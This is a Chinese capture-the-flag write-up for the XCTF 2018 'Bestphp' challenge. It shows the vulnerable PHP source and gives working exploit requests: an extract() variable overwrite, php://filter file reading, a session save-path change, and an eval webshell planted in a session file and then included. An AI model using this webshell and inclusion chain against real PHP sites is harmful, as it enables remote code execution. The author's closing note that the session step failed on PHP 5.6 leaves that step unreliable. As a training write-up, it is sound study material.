[XCTF 2018 Final]Bestphp
本题需要运行在PHP5的环境中,PHP7会报错
这道题提供index.php源码
index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
// var_dump();
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
文件包含
首先发现call_user_func($func,$_GET)
对里面的内容未作任何过滤,然后后面把用include($file)
把文件包含进来,那这里可以使用extract()
函数进行变量覆盖,把我们想要看的文件名字覆盖到$file
变量里面。
extract ( array &$array , int $flags = EXTR_OVERWRITE , string $prefix = "" ) : int
本函数用来将变量从数组中导入到当前的符号表中。
这个警告就是防止变量覆盖,因此我们就可以利用这点,使用伪协议把想要读取的文件内容变成base64编码之后确保其不会进行解析而是以字符串的形式输出。
?function=extract&file=php://filter/read=convert.base64-encode/resource=function.php
function.php
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>
admin.php
hello admin
<?php
if(empty($_SESSION['name'])){
session_start();
#echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
?>
这里为什么我们不直接读/flag
呢?因为ini_set('open_basedir', '/var/www/html:/tmp');
这个把PHP能够包含的文件目录限制在了/var/www/html
和/tmp
这两个目录下。
session妙用
上面说到由于文件包含目录的限制,我们无法包含其他目录的文件,而我们的session文件并不保存在这两个目录下;而session_start()
函数存在 options
数组参数,如果提供会覆盖 session 配置项,而其中包含了 save_path
,可用来修改 session 保存位置。
因此思路是传入 session_start()
函数修改存储位置。利用回调函数call_user_func()
能够让我们执行session_start('save_path=/tmp')
,这样,我们就能够让session文件保存到/tmp
目录下,就相当于一个文件上传漏洞。
?function=session_start&save_path=/tmp
POST:<?php echo "aaa";@eval($_GET[x]);?>
这样我们就往/tmp
目录下上传了一个一句话木马,然后我们通过变量覆盖漏洞访问即可。
?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1
这里的session_id是保存在cookies里面的,每个人都不一样。
ps:这里不知道为什么我用
session_start()
无法设置session保存的目录,PHP版本是5.6